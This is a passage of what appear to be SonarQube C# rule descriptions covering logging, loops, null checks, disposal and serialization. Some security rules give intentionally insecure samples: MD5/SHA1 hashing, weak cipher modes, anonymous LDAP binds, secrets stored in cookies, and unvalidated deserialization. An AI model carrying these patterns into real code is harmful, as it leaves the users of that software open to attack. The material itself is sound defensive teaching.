            Microsoft.Extensions.Logging.AzureAppServices.AzureAppServicesDiagnosticsSettings azureSettings = null;
            Microsoft.Extensions.Logging.EventLog.EventLogSettings eventLogSettings = null;

            // An issue will be raised for each call to an ILoggerFactory extension methods adding loggers.
            loggerFactory.AddAzureWebAppDiagnostics(); // Sensitive
            loggerFactory.AddAzureWebAppDiagnostics(azureSettings); // Sensitive
            loggerFactory.AddConsole(); // Sensitive
            loggerFactory.AddConsole(level); // Sensitive
            loggerFactory.AddConsole(level, includeScopes); // Sensitive
            loggerFactory.AddConsole(filter); // Sensitive
            loggerFactory.AddConsole(filter, includeScopes); // Sensitive
            loggerFactory.AddConsole(config); // Sensitive
            loggerFactory.AddConsole(consoleSettings); // Sensitive
            loggerFactory.AddDebug(); // Sensitive
            loggerFactory.AddDebug(level); // Sensitive
            loggerFactory.AddDebug(filter); // Sensitive
            loggerFactory.AddEventLog(); // Sensitive
            loggerFactory.AddEventLog(eventLogSettings); // Sensitive
            loggerFactory.AddEventLog(level); // Sensitive
            loggerFactory.AddEventSourceLogger(); // Sensitive

            IEnumerable<ILoggerProvider> providers = null;
            LoggerFilterOptions filterOptions1 = null;
            IOptionsMonitor<LoggerFilterOptions> filterOptions2 = null;

            LoggerFactory factory = new LoggerFactory(); // Sensitive
            new LoggerFactory(providers); // Sensitive
            new LoggerFactory(providers, filterOptions1); // Sensitive
            new LoggerFactory(providers, filterOptions2); // Sensitive
        }
    }
}

Log4Net

using System;
using System.IO;
using System.Xml;
using log4net.Appender;
using log4net.Config;
using log4net.Repository;

namespace Logging
{
    class Log4netLogging
    {
        void Foo(ILoggerRepository repository, XmlElement element, FileInfo configFile, Uri configUri, Stream configStream,
        IAppender appender, params IAppender[] appenders) {
            log4net.Config.XmlConfigurator.Configure(repository); // Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, element); // Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, configFile); // Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, configUri); // Sensitive
            log4net.Config.XmlConfigurator.Configure(repository, configStream); // Sensitive
            log4net.Config.XmlConfigurator.ConfigureAndWatch(repository, configFile); // Sensitive

            log4net.Config.DOMConfigurator.Configure(); // Sensitive
            log4net.Config.DOMConfigurator.Configure(repository); // Sensitive
            log4net.Config.DOMConfigurator.Configure(element); // Sensitive
            log4net.Config.DOMConfigurator.Configure(repository, element); // Sensitive
            log4net.Config.DOMConfigurator.Configure(configFile); // Sensitive
            log4net.Config.DOMConfigurator.Configure(repository, configFile); // Sensitive
            log4net.Config.DOMConfigurator.Configure(configStream); // Sensitive
            log4net.Config.DOMConfigurator.Configure(repository, configStream); // Sensitive
            log4net.Config.DOMConfigurator.ConfigureAndWatch(configFile); // Sensitive
            log4net.Config.DOMConfigurator.ConfigureAndWatch(repository, configFile); // Sensitive

            log4net.Config.BasicConfigurator.Configure(); // Sensitive
            log4net.Config.BasicConfigurator.Configure(appender); // Sensitive
            log4net.Config.BasicConfigurator.Configure(appenders); // Sensitive
            log4net.Config.BasicConfigurator.Configure(repository); // Sensitive
            log4net.Config.BasicConfigurator.Configure(repository, appender); // Sensitive
            log4net.Config.BasicConfigurator.Configure(repository, appenders); // Sensitive
        }
    }
}

NLog: configure programmatically

namespace Logging
{
    class NLogLogging
    {
        void Foo(NLog.Config.LoggingConfiguration config) {
            NLog.LogManager.Configuration = config; // Sensitive, this changes the logging configuration.
        }
    }
}

Serilog

namespace Logging
{
    class SerilogLogging
    {
        void Foo() {
            new Serilog.LoggerConfiguration(); // Sensitive
        }
    }
}

See

csharpsquid:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

csharpsquid:S2251

A for loop with a counter that moves in the wrong direction is not an infinite loop. Because of wraparound, the loop will eventually reach its stop condition, but in doing so, it will run many, many more times than anticipated, potentially causing unexpected behavior.

Noncompliant Code Example

public void DoSomething(string[] strings)
{
  for (int i = 0; i < strings.Length; i--)  // Noncompliant
  {
    string s = strings[i];  // IndexOutOfRangeException  when i reaches -1
    // do stuff
  }
}

Compliant Solution

public void DoSomething(string[] strings)
{
  for (int i = 0; i < strings.Length; i++)
  {
    string s = strings[i];
    // do stuff
  }
}

See

csharpsquid:S2372

Property getters should be simple operations that are always safe to call. If exceptions need to be thrown, it is best to convert the property to a method.

It is valid to throw exceptions from indexed property getters and from property setters, which are not detected by this rule.

Noncompliant Code Example

public int Foo
{
    get
    {
        throw new Exception(); // Noncompliant
    }
}

Compliant Solution

public int Foo
{
    get
    {
        return 42;
    }
}

Exceptions

No issue is raised when the thrown exception derives from or is of type NotImplementedException, NotSupportedException or InvalidOperationException.

csharpsquid:S4790

Cryptographic hash algorithms such as MD2, MD4, MD5, MD6, HAVAL-128, HMAC-MD5, DSA (which uses SHA-1), RIPEMD, RIPEMD-128, RIPEMD-160, HMACRIPEMD160 and SHA-1 are no longer considered secure, because it is too easy to create hash collisions with them (little computational effort is enough to find two or more different inputs that produces the same hash).

Ask Yourself Whether

The hashed value is used in a security context like:

  • User-password storage.
  • Security token generation (used to confirm e-mail when registering on a website, reset password, etc ...).
  • To compute some message integrity.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Safer alternatives, such as SHA-256, SHA-512, SHA-3 or bcrypt are recommended, and for password hashing, it's even better to use algorithms that not compute too "quickly", like bcrypt instead of SHA-256, because it slows brute force and dictionary based attacks.

Sensitive Code Example

var hashProvider1 = new MD5CryptoServiceProvider(); // Sensitive
var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("MD5"); // Sensitive
var hashProvider3 = new SHA1Managed(); // Sensitive
var hashProvider4 = HashAlgorithm.Create("SHA1"); // Sensitive

Compliant Solution

var hashProvider1 = new SHA256Managed(); // Compliant
var hashProvider2 = (HashAlgorithm)CryptoConfig.CreateFromName("SHA256Managed"); // Compliant
var hashProvider3 = HashAlgorithm.Create("SHA256Managed"); // Compliant

See

csharpsquid:S818

Using upper case literal suffixes removes the potential ambiguity between "1" (digit 1) and "l" (letter el) for declaring literals.

Noncompliant Code Example

const long b = 0l;      // Noncompliant

Compliant Solution

const long b = 0L;

See

csharpsquid:S3900

A publicly accessible method can be called from anywhere, which means you should validate parameters to be within the expected constraints. In general, checking against null is recommended defensive programming.

This rule raises an issue when a parameter of a publicly accessible method is not validated against null before being dereferenced.

Noncompliant Code Example

public class MyClass
{
    private MyOtherClass other;

    public void Foo(MyOtherClass other)
    {
        this.other = other; // Compliant: other not being dereferenced
    }

    public void Bar(MyOtherClass other)
    {
        this.other = other.Clone(); // Noncompliant
    }

    protected void FooBar(MyOtherClass other)
    {
        this.other = other.Clone(); // Noncompliant
    }
}

Compliant Solution

public class MyClass
{
    private MyOtherClass other;

    public void Foo(MyOtherClass other)
    {
        this.other = other;
    }

    public void Bar(MyOtherClass other)
    {
        if (other != null)
        {
            this.other = other.Clone();
        }
    }

    protected void FooBar(MyOtherClass other)
    {
        if (other != null)
        {
            this.other = other.Clone();
        }
    }
}

Exceptions

To create a custom null validation method declare an attribute with name ValidatedNotNullAttribute and mark the parameter that is validated for null in your method declaration with it:

using System;

public sealed class ValidatedNotNullAttribute : Attribute { }

public static class Guard
{
    public static void NotNull<T>([ValidatedNotNullAttribute] this T value, string name) where T : class
    {
        if (value == null)
            throw new ArgumentNullException(name);
    }
}

public static class Utils
{
    public static string ToUpper(string value)
    {
        Guard.NotNull(value, nameof(value));
        if (value == null)
        {
            return value.ToString();
        }
        return value.ToUpper(); // Compliant
    }
}
csharpsquid:S2931

An IDisposable object should be disposed (there are some rare exceptions where not disposing is fine, most notably Task). If a class has an IDisposable field, there can be two situations:

- The class observes a field that is under the responsibility of another class.

- The class owns the field, and is therefore responsible for calling Dispose on it.

In the second case, the safest way for the class to ensure Dispose is called is to call it in its own Dispose function, and therefore to be itself IDisposable. A class is considered to own an IDisposable field resource if it created the object referenced by the field.

Noncompliant Code Example

public class ResourceHolder   // Noncompliant; doesn't implement IDisposable
{
  private FileStream fs;  // This member is never Disposed
  public void OpenResource(string path)
  {
    this.fs = new FileStream(path, FileMode.Open); // I create the FileStream, I'm owning it
  }
  public void CloseResource()
  {
    this.fs.Close();
  }
}

Compliant Solution

public class ResourceHolder : IDisposable
{
  private FileStream fs;
  public void OpenResource(string path)
  {
    this.fs = new FileStream(path, FileMode.Open); // I create the FileStream, I'm owning it
  }
  public void CloseResource()
  {
    this.fs.Close();
  }

  public void Dispose()
  {
    this.fs.Dispose();
  }
}

See

csharpsquid:S3902

Using Type.Assembly to get the current assembly is nearly free in terms of performance; it's a simple property access. On the other hand, Assembly.GetExecutingAssembly() can take up to 30 times as long because it walks up the call stack to find the assembly.

Note that Assembly.GetExecutingAssembly() is different than Type.Assembly because it dynamically returns the assembly that contains the startup object of the currently executed application. For example, if executed from an application it will return the application assembly, but if executed from a unit test project it could return the unit test assembly. Type.Assembly always returns the assembly that contains the specified type.

Noncompliant Code Example

public class Example
{
   public static void Main()
   {
      Assembly assem = Assembly.GetExecutingAssembly(); // Noncompliant
      Console.WriteLine("Assembly name: {0}", assem.FullName);
   }
}

Compliant Solution

public class Example
{
   public static void Main()
   {
      Assembly assem = typeof(Example).Assembly; // Here we use the type of the current class
      Console.WriteLine("Assembly name: {0}", assem.FullName);
   }
}
csharpsquid:S2934

While the properties of a readonly reference type field can still be changed after initialization, those of a readonly value field, such as a struct, cannot.

If the member could be either a class or a struct then assignment to its properties could be unreliable, working sometimes but not others.

Noncompliant Code Example

interface IPoint
{
  int X { get; set; }
  int Y { get; set; }
}

class PointManager<T> where T: IPoint
{
  readonly T point;  // this could be a struct
  public PointManager(T point)
  {
    this.point = point;
  }

  public void MovePointVertically(int newX)
  {
    point.X = newX; //Noncompliant; if point is a struct, then nothing happened
    Console.WriteLine(point.X);
  }
}

Compliant Solution

interface IPoint
{
  int X { get; set; }
  int Y { get; set; }
}

class PointManager<T> where T : IPoint
{
  readonly T point;  // this could be a struct
  public PointManager(T point)
  {
    this.point = point;
  }

  public void MovePointVertically(int newX) // assignment has been removed
  {
    Console.WriteLine(point.X);
  }
}

or

interface IPoint
{
  int X { get; set; }
  int Y { get; set; }
}

class PointManager<T> where T : class, IPoint
{
  readonly T point;  // this can only be a class
  public PointManager(T point)
  {
    this.point = point;
  }

  public void MovePointVertically(int newX)
  {
    point.X = newX;  // this assignment is guaranteed to work
    Console.WriteLine(point.X);
  }
}
csharpsquid:S2933

readonly fields can only be assigned in a class constructor. If a class has a field that's not marked readonly but is only set in the constructor, it could cause confusion about the field's intended use. To avoid confusion, such fields should be marked readonly to make their intended use explicit, and to prevent future maintainers from inadvertently changing their use.

Noncompliant Code Example

public class Person
{
    private int _birthYear;  // Noncompliant

    Person(int birthYear)
    {
        _birthYear = birthYear;
    }
}

Compliant Solution

public class Person
{
    private readonly int _birthYear;

    Person(int birthYear)
    {
        _birthYear = birthYear;
    }
}

Exceptions

* Fields with attributes are ignored.

* Fields of type struct that are not primitive or pointer types are also ignored because of possible unwanted behavior.

See

* Mutating readonly structs

csharpsquid:S3904

If no AssemblyVersionAttribute is provided, the same default version will be used for every build. Since the version number is used by The .NET Framework to uniquely identify an assembly this can lead to broken dependencies.

Noncompliant Code Example

using System;
using System.Reflection;

[assembly: AssemblyTitle("MyAssembly")] // Noncompliant

namespace MyLibrary
{
}

Compliant Solution

using System;
using System.Reflection;

[assembly: AssemblyTitle("MyAssembly")]
[assembly: AssemblyVersion("1.2.125.0")]

namespace MyLibrary
{
}

See

Assembly Versioning (MSDN)

csharpsquid:S3903

Types are declared in namespaces in order to prevent name collisions and as a way to organize them into the object hierarchy. Types that are defined outside any named namespace are in a global namespace that cannot be referenced in code.

Noncompliant Code Example

public class Foo // Noncompliant
{
}

public struct Bar // Noncompliant
{
}

Compliant Solution

namespace SomeSpace
{
    public class Foo
    {
    }

    public struct Bar
    {
    }
}
csharpsquid:S3906

Delegate event handlers (i.e. delegates used as type of an event) should have a very specific signature:

  • Return type void.
  • First argument of type System.Object and named 'sender'.
  • Second argument of type System.EventArgs (or any derived type) and is named 'e'.

This rule raises an issue whenever a delegate declaration doesn't match that signature.

Noncompliant Code Example

public delegate void AlarmEventHandler(object s);

public class Foo
{
    public event AlarmEventHandler AlarmEvent; // Noncompliant
}

Compliant Solution

public delegate void AlarmEventHandler(object sender, AlarmEventArgs e);

public class Foo
{
    public event AlarmEventHandler AlarmEvent; // Compliant
}

See

Handling and Raising Events

csharpsquid:S1848

There is no good reason to create a new object to not do anything with it. Most of the time, this is due to a missing piece of code and so could lead to an unexpected behavior in production.

If it was done on purpose because the constructor has side-effects, then that side-effect code should be moved into a separate, static method and called directly.

Noncompliant Code Example

if (x < 0)
  new ArgumentException("x must be nonnegative");

Compliant Solution

if (x < 0)
  throw new ArgumentException("x must be nonnegative");
csharpsquid:S1607

When a test fails due, for example, to infrastructure issues, you might want to ignore it temporarily. But without some kind of notation about why the test is being ignored, it may never be reactivated. Such tests are difficult to address without comprehensive knowledge of the project, and end up polluting their projects.

This rule raises an issue for each ignored test that does not have a WorkItem attribute nor a comment about why it is being skipped on the right side of the Ignore attribute.

Noncompliant Code Example

[TestMethod]
[Ignore]  // Noncompliant
public void Test_DoTheThing()
{
  // ...
}

Compliant Solution

[TestMethod]
[Ignore]  // renable when TCKT-1234 is fixed
public void Test_DoTheThing()
{
  // ...
}

or

[TestMethod]
[Ignore]
[WorkItem(1234)]
public void Test_DoTheThing()
{
  // ...
}

Exceptions

The rule doesn't raise an issue if:

- the test method is also marked with WorkItem attribute

- there is a comment on the right side of the Ignore attribute

csharpsquid:S4432

Encryption algorithms can be used with various modes. Some combinations are not secured:

  • Electronic Codebook (ECB) mode: Under a given key, any given plaintext block always gets encrypted to the same ciphertext block. Thus, it does not hide data patterns well. In some senses, it doesn't provide serious message confidentiality, and it is not recommended for use in cryptographic protocols at all.
  • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is susceptible to padding oracle attacks. CBC + PKCS#7 can be used if combined with an authenticity check (HMAC-SHA256 for example) on the cipher text.

In both cases, Galois/Counter Mode (GCM) with no padding should be preferred. As the .NET framework doesn't provide this natively, the use of a certified third party lib is recommended.

This rule raises an issue when any of the following CipherMode is detected: ECB, CBC, OFB, CFB, CTS.

Noncompliant Code Example

AesManaged aes = new AesManaged
{
  KeySize = 128,
  BlockSize = 128,
  Mode = CipherMode.OFB, // Noncompliant
  Padding = PaddingMode.PKCS7
};

See

Deprecated

This rule is deprecated; use S5542 instead.

csharpsquid:S1163

Throwing an exception from within a finally block will mask any exception which was previously thrown in the try or catch block, and the masked's exception message and stack trace will be lost.

Noncompliant Code Example

try
{
  /* some work which end up throwing an exception */
  throw new ArgumentException();
}
finally
{
  /* clean up */
  throw new InvalidOperationException();       // Noncompliant; will mask the ArgumentException
}

Compliant Solution

try
{
  /* some work which end up throwing an exception */
  throw new ArgumentException();
}
finally
{
  /* clean up */                       // Compliant
}

See

  • CERT, ERR05-J. - Do not let checked exceptions escape from a finally block
csharpsquid:S2252

If a for loop's condition is false before the first loop iteration, the loop will never be executed. Such loops are almost always bugs, particularly when the initial value and stop conditions are hard-coded.

Noncompliant Code Example

for (int i = 10; i < 10; i++)  // Noncompliant
{
    // ...
}

Compliant Solution

for (int i = 0; i < 10; i++)
{
    // ...
}
csharpsquid:S3220

The rules for method resolution are complex and perhaps not properly understood by all coders. The params keyword can make method declarations overlap in non-obvious ways, so that slight changes in the argument types of an invocation can resolve to different methods.

This rule raises an issue when an invocation resolves to a method declaration with params, but could also resolve to another non-params method too.

Noncompliant Code Example

public class MyClass
{
    private void Format(string a, params object[] b) { }

    private void Format(object a, object b, object c) { }
}

// ...
MyClass myClass = new MyClass();

myClass.Format("", null, null); // Noncompliant, resolves to the first Format with params, but was that intended?
csharpsquid:S4433

An LDAP client authenticates to an LDAP server with a "bind request" which provides, among other, a simple authentication method.

Simple authentication in LDAP can be used with three different mechanisms:

  • Anonymous Authentication Mechanism by performing a bind request with a username and password value of zero length.
  • Unauthenticated Authentication Mechanism by performing a bind request with a password value of zero length.
  • Name/Password Authentication Mechanism by performing a bind request with a password value of non-zero length.

Anonymous binds and unauthenticated binds allow access to information in the LDAP directory without providing a password, their use is therefore strongly discouraged.

Noncompliant Code Example

This rule raises an issue when an LDAP connection is created with AuthenticationTypes.Anonymous or AuthenticationTypes.None.

DirectoryEntry myDirectoryEntry = new DirectoryEntry(adPath);
myDirectoryEntry.AuthenticationType = AuthenticationTypes.None; // Noncompliant

DirectoryEntry myDirectoryEntry = new DirectoryEntry(adPath, "u", "p", AuthenticationTypes.None); // Noncompliant

Compliant Solution

DirectoryEntry myDirectoryEntry = new DirectoryEntry(myADSPath); // Compliant; default DirectoryEntry.AuthenticationType property value is "Secure" since .NET Framework 2.0

DirectoryEntry myDirectoryEntry = new DirectoryEntry(myADSPath, "u", "p", AuthenticationTypes.Secure);

See

csharpsquid:S2255

Using cookies is security-sensitive. It has led in the past to the following vulnerabilities:

Attackers can use widely-available tools to read cookies. Any sensitive information they may contain will be exposed.

This rule flags code that writes cookies.

Ask Yourself Whether

  • sensitive information is stored inside the cookie.

You are at risk if you answered yes to this question.

Recommended Secure Coding Practices

Cookies should only be used to manage the user session. The best practice is to keep all user-related information server-side and link them to the user session, never sending them to the client. In a very few corner cases, cookies can be used for non-sensitive information that need to live longer than the user session.

Do not try to encode sensitive information in a non human-readable format before writing them in a cookie. The encoding can be reverted and the original information will be exposed.

Using cookies only for session IDs doesn't make them secure. Follow OWASP best practices when you configure your cookies.

As a side note, every information read from a cookie should be Sanitized.

Sensitive Code Example

// === .Net Framework ===

HttpCookie myCookie = new HttpCookie("UserSettings");
myCookie["CreditCardNumber"] = "1234 1234 1234 1234"; // Sensitive; sensitive data stored
myCookie.Values["password"] = "5678"; // Sensitive
myCookie.Value = "mysecret"; // Sensitive
...
Response.Cookies.Add(myCookie);


// === .Net Core ===

Response.Headers.Add("Set-Cookie", ...); // Sensitive
Response.Cookies.Append("mykey", "myValue"); // Sensitive

See

Deprecated

This rule is deprecated, and will eventually be removed.

csharpsquid:S2376

Properties with only setters are confusing and counterintuitive. Instead, a property getter should be added if possible, or the property should be replaced with a setter method.

Noncompliant Code Example

class Program
{
    public int Foo  //Non-Compliant
    {
        set
        {
            // ... some code ...
        }
    }
}

Compliant Solution

class Program
{
    private int foo;

    public void SetFoo(int value)
    {
        // ... some code ...
        foo = value;
    }
}

or

class Program
{
  public int Foo { get; set; } // Compliant
}
csharpsquid:S3343

Caller information attributes (CallerFilePathAttribute, CallerLineNumberAttribute, and CallerMemberNameAttribute) provide a way to get information about the caller of a method through optional parameters. But they only work right if their values aren't provided explicitly. So if you define a method with caller info attributes in the middle of the parameter list, you put your callers in a bad position: they are forced to use named arguments if they want to use the method properly.

Noncompliant Code Example

void TraceMessage([CallerMemberName] string memberName = "",
  [CallerFilePath] string filePath = "",
  [CallerLineNumber] int lineNumber = 0,
  string message = null)  // Noncompliant
{
  /* ... */
}

Compliant Solution

void TraceMessage(string message = null,
  [CallerMemberName] string memberName = "",
  [CallerFilePath] string filePath = "",
  [CallerLineNumber] int lineNumber = 0)
{
  /* ... */
}
csharpsquid:S3464

Recursion is acceptable in methods, where you can break out of it. But with class types, you end up with code that will compile but not run if you try to instantiate the class.

Noncompliant Code Example

class C1<T>
{
}
class C2<T> : C1<C2<C2<T>>> // Noncompliant
{
}

...
var c2 = new C2<int>();
csharpsquid:S3346

An assertion is a piece of code that's used during development when the compilation debug mode is activated. It allows a program to check itself as it runs. When an assertion is true, that means everything is operating as expected.

In non-debug mode, all Debug.Assert are automatically left out. So, by contract, the boolean expressions that are evaluated by those assertions must absolutely not contain any side effects. Otherwise, when leaving the Debug mode, the functional behavior of the application is not the same anymore.

The rule will raise if the method name starts with any of the following remove, delete, add, pop, update, retain, insert, push, append, clear, dequeue, enqueue, dispose, put, or set, although SetEquals will be ignored.

Noncompliant Code Example

Debug.Assert(list.Remove("dog"));

Compliant Solution

bool result = list.Remove("dog");
Debug.Assert(result);

See

  • CERT, EXP06-J. - Expressions used in assertions must not produce side effects
csharpsquid:S3466

Generally, writing the least code that will readably do the job is a good thing, so omitting default parameter values seems to make sense. Unfortunately, when you omit them from the base call in an override, you're not actually getting the job done thoroughly, because you're ignoring the value the caller passed in. The result will likely not be what the caller expected.

Noncompliant Code Example

public class BaseClass
{
    public virtual void MyMethod(int i = 1)
    {
        Console.WriteLine(i);
    }
}

public class DerivedClass : BaseClass
{
    public override void MyMethod(int i = 1)
    {
        // ...
        base.MyMethod(); // Noncompliant; caller's value is ignored
    }

    static int Main(string[] args)
    {
        DerivedClass dc = new DerivedClass();
        dc.MyMethod(12);  // prints 1
    }
}

Compliant Solution

public class BaseClass
{
    public virtual void MyMethod(int i = 1)
    {
        Console.WriteLine(i);
    }
}

public class DerivedClass : BaseClass
{
    public override void MyMethod(int i = 1)
    {
        // ...
        base.MyMethod(i);
    }

    static int Main(string[] args)
    {
        DerivedClass dc = new DerivedClass();
        dc.MyMethod(12);  // prints 12
    }
}
csharpsquid:S1168

Returning null instead of an actual array or collection forces callers of the method to explicitly test for nullity, making them more complex and less readable.

Moreover, in many cases, null is used as a synonym for empty.

Noncompliant Code Example

public Result[] GetResults()
{
    return null; // Noncompliant
}

public IEnumerable<Result> GetResults()
{
    return null; // Noncompliant
}

public IEnumerable<Result> GetResults() => null; // Noncompliant

public IEnumerable<Result> Results
{
    get
    {
        return null; // Noncompliant
    }
}

public IEnumerable<Result> Results => null; // Noncompliant

Compliant Solution

public Result[] GetResults()
{
    return new Result[0];
}

public IEnumerable<Result> GetResults()
{
    return Enumerable.Empty<Result>();
}

public IEnumerable<Result> GetResults() => Enumerable.Empty<Result>();

public IEnumerable<Result> Results
{
    get
    {
        return Enumerable.Empty<Result>();
    }
}

public IEnumerable<Result> Results => Enumerable.Empty<Result>();

Exceptions

Although string is a collection, the rule won't report on it.

See

  • CERT, MSC19-C. - For functions that return an array, prefer returning an empty array over a null value
  • CERT, MET55-J. - Return an empty array or collection instead of a null value for methods that return an array or collection
csharpsquid:S2259

A reference to null should never be dereferenced/accessed. Doing so will cause a NullReferenceException to be thrown. At best, such an exception will cause abrupt program termination. At worst, it could expose debugging information that would be useful to an attacker, or it could allow an attacker to bypass security measures.

Noncompliant Code Example

object o = null;
if (condition)
{
  M1(o.ToString()); // Noncompliant, always null
}
else
{
  o = new object();
}
M2(o.ToString());

Exceptions

Calls to extension methods are not reported because they can still operate on null values.

To create a custom null validation method declare an attribute with name ValidatedNotNullAttribute and mark the parameter that is validated for null in your method declaration with it:

using System;

public sealed class ValidatedNotNullAttribute : Attribute { }

public static class Guard
{
    public static void NotNull<T>([ValidatedNotNull] this T value, string name) where T : class
    {
        if (value == null)
            throw new ArgumentNullException(name);
    }
}

public static class Utils
{
    public static string ToUpper(string value)
    {
        Guard.NotNull(value, nameof(value));
        if (value == null)
        {
            return value.ToString(); // Compliant, this code is not reachable
        }
        return value.ToUpper();
    }
}

See

csharpsquid:S2930

When writing managed code, you don't need to worry about allocating or freeing memory: The garbage collector takes care of it. For efficiency reasons, some objects such as Bitmap use unmanaged memory, enabling for example the use of pointer arithmetic. Such objects have potentially huge unmanaged memory footprints, but will have tiny managed ones. Unfortunately, the garbage collector only sees the tiny managed footprint, and fails to reclaim the unmanaged memory (by calling Bitmap's finalizer method) in a timely fashion.

Moreover, memory is not the only system resource which needs to be managed in a timely fashion: The operating system can only handle having so many file descriptors (e.g. FileStream) or sockets (e.g. WebClient) open at any given time. Therefore, it is important to Dispose of them as soon as they are no longer needed, rather than relying on the garbage collector to call these objects' finalizers at some nondeterministic point in the future.

This rule tracks private fields and local variables of the following IDisposable types, which are never disposed, closed, aliased, returned, or passed to other methods.

  • System.IO namespace
    • System.IO.FileStream
    • System.IO.StreamReader
    • System.IO.StreamWriter
  • System.Net namespace
    • System.Net.WebClient
  • System.Net.Sockets namespace
    • System.Net.Sockets.Socket
    • System.Net.Sockets.TcpClient
    • System.Net.Sockets.UdpClient
  • System.Drawing namespace
    • System.Drawing.Image
    • System.Drawing.Bitmap

which are either instantiated directly using the new operator, or using one of the following factory methods:

  • System.IO.File.Create()
  • System.IO.File.Open()
  • System.Drawing.Image.FromFile()
  • System.Drawing.Image.FromStream()

on both private fields and local variables.

Noncompliant Code Example

public class ResourceHolder
{
  private FileStream fs; // Noncompliant; Dispose or Close are never called

  public void OpenResource(string path)
  {
    this.fs = new FileStream(path, FileMode.Open);
  }

  public void WriteToFile(string path, string text)
  {
    var fs = new FileStream(path, FileMode.Open); // Noncompliant
    var bytes = Encoding.UTF8.GetBytes(text);
    fs.Write(bytes, 0, bytes.Length);
  }
}

Compliant Solution

public class ResourceHolder : IDisposable
{
  private FileStream fs;

  public void OpenResource(string path)
  {
    this.fs = new FileStream(path, FileMode.Open);
  }

  public void Dispose()
  {
    this.fs.Dispose();
  }

  public void WriteToFile(string path, string text)
  {
    using (var fs = new FileStream(path, FileMode.Open))
    {
      var bytes = Encoding.UTF8.GetBytes(text);
      fs.Write(bytes, 0, bytes.Length);
    }
  }
}

Exceptions

IDisposable variables returned from a method or passed to other methods are ignored, as are local IDisposables that are initialized with other IDisposables.

public Stream WriteToFile(string path, string text)
{
  var fs = new FileStream(path, FileMode.Open); // Compliant, because it is returned
  var bytes = Encoding.UTF8.GetBytes(text);
  fs.Write(bytes, 0, bytes.Length);
  return fs;
}

public void ReadFromStream(Stream s)
{
  var sr = new StreamReader(s); // Compliant as it would close the underlying stream.
  // ...
}

See

csharpsquid:S1048

If Finalize or an override of Finalize throws an exception, and the runtime is not hosted by an application that overrides the default policy, the runtime terminates the process immediately without graceful cleanup (finally blocks and finalizers are not executed). This behavior ensures process integrity if the finalizer cannot free or destroy resources.

The rule reports on throw statements used in finalizers.

Noncompliant Code Example

class MyClass
{
    ~MyClass()
    {
        throw new NotImplementedException(); // Noncompliant
    }
}

Compliant Solution

class MyClass
{
    ~MyClass()
    {
        // no throw
    }
}
csharpsquid:S5766

Deserialization process extracts data from the serialized representation of an object and reconstruct it directly, without calling constructors. Thus, data validation implemented in constructors can be bypassed if serialized objects are controlled by an attacker.

Ask Yourself Whether

  • The data validation implemented in constructors enforces a relevant security check.
  • Objects instantiated via deserialization don't run the same security checks as the ones executed when objects are created through constructors.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • At the end of the deserialization process it is recommended to perform the same validation checks as the ones performed in constructors, especially when the serialized object can be controlled by an attacker.

Sensitive Code Example

When a serializable class doesn't inherit from ISerializable or IDeserializationCallback types and has a constructor using its parameters in conditions:

[Serializable]
public class InternalUrl
{
    private string url;

    public InternalUrl(string tmpUrl) // Sensitive
    {
       if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation
       {
          url= "http://localhost/default";
       }
       else
       {
          url= tmpUrl;
       }
    }
}

When a class inherit from ISerializable type, has a regular constructor using its parameters in conditions, but doesn't perform the same validation after deserialization:

[Serializable]
public class InternalUrl : ISerializable
{
    private string url;

    public InternalUrl(string tmpUrl) // Sensitive
    {
        if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation
        {
            url= "http://localhost/default";
        }
        else
        {
            url= tmpUrl;
        }
    }

    // special constructor used during deserialization
    protected InternalUrl(SerializationInfo info, StreamingContext context) // Sensitive
    {
       url= (string) info.GetValue("url", typeof(string));
       // the same validation as seen in the regular constructor is not performed
     }

    void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.AddValue("url", url);
    }
}

When a class inherit from IDeserializationCallback type, has a constructor using its parameters in conditions but the IDeserializationCallback.OnDeserialization method doesn't perform any conditional checks:

[Serializable]
public class InternalUrl : IDeserializationCallback
{
    private string url;

    public InternalUrl(string tmpUrl) // Sensitive
    {
        if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation
        {
            url= "http://localhost/default";
        }
        else
        {
            url= tmpUrl;
        }
    }

    void IDeserializationCallback.OnDeserialization(object sender) // Sensitive
    {
       // the same validation as seen in the constructor is not performed
    }
}

Compliant Solution

When using ISerializable type to control deserialization, perform the same checks inside regular constructors than in the special constructor SerializationInfo info, StreamingContext context used during deserialization:

[Serializable]
public class InternalUrl : ISerializable
{
    private string url;

    public InternalUrl(string tmpUrl)
    {
        if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation
        {
            url= "http://localhost/default";
        }
        else
        {
            url= tmpUrl;
        }
    }

    // special constructor used during deserialization
    protected InternalUrl(SerializationInfo info, StreamingContext context)
    {
       string tmpUrl= (string) info.GetValue("url", typeof(string));

       if(!tmpUrl.StartsWith("http://localhost/") { // Compliant
          url= "http://localhost/default";
       }
       else {
          url= tmpUrl;
       }
     }

    void ISerializable.GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.AddValue("url", url);
    }
}

When using IDeserializationCallback type to control deserialization, perform the same checks inside regular constructors than after deserialization with IDeserializationCallback.OnDeserialization method:

[Serializable]
public class InternalUrl : IDeserializationCallback
{
    private string url;

    public InternalUrl(string tmpUrl)
    {
       if(!tmpUrl.StartsWith("http://localhost/")) // there is some input validation
       {
          url= "http://localhost/default";
       }
       else
       {
          url= tmpUrl;
       }
    }

    void IDeserializationCallback.OnDeserialization(object sender) // Compliant
    {
        if(!url.StartsWith("http://localhost/"))
        {
            url= "http://localhost/default";
        }
        else
        {
        }
    }
}

See

csharpsquid:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if (x == 0)
{
    DoSomething();
